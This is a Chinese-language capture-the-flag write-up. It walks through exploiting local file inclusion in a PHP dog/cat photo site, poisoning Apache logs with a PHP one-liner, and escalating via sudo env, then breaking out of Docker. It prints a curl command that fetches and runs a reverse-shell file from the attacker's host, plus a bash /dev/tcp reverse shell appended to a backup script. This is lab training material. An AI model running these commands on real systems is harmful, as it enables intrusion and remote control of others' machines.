简介
我做了一个网站,您可以在其中查看狗和/或猫的照片!通过 LFI 利用 PHP 应用程序并突破 docker 容器。
Task
首先还是扫描下端口,发现只开了80和22端口
访问网站
使用burp抓包,根据提示进行文件包含
发现报错,爆出代码
根据代码可以看出,首先包含的时候一定要存在dog或者cat,然后他会默认加上.php后缀
这时候爆出存在一个flag.php的文件
尝试包含,这里不可以直接包含文件
尝试使用php://filter
成功包含index.php
这里我们先包含flag.php看看
解密
成功获取flag1
紧接着查看下index,确认了文件包含的源码写法
接着我们尝试shell
在本地文件包含中,常见的是包含日志文件
通常的路径是/var/log/apache2/access.log
可以发现成功包含
尝试UA头写入一句话木马
成功写入,且成功解析
接着老样子,准备反弹shell马
本地开启http 服务
接着使用一句话木马下载文件
curl 10.10.76.255:8000/php-reverse-shell.php -o shell.php && chmod +x /tmp/shell && /tmp/shell
url编码之后发包,成功下载
访问http://10.10.167.160/shell.php成功反弹shell(请无视页面的Unable to connect,重新开了个靶场--IP变了)
在网站根目录的上一层找到第二个flag
尝试提权
发现env可以免密高权限执行
首先先改成伪终端
目标机器没有python
script -qc /bin/bash /dev/null
成功切换
通过查阅资料,可以直接下面命令提权
成功提权
成功找到第三个flag
查看了下环境,发现在一个docker里面
继续进行信息搜集
在opt目录下发现了一个备份文件夹,里面有一个备份脚本
查看了下时间,发现备份文件刚刚生成,但是我没有找到任何计划任务
尝试在这个sh文件中添加反向shell
echo "bash -i >& /dev/tcp/10.10.76.255/7777 0>&1" >> backup.sh
过了半分钟shell成功反弹回来
成功找到第四个flag
Comments NOTHING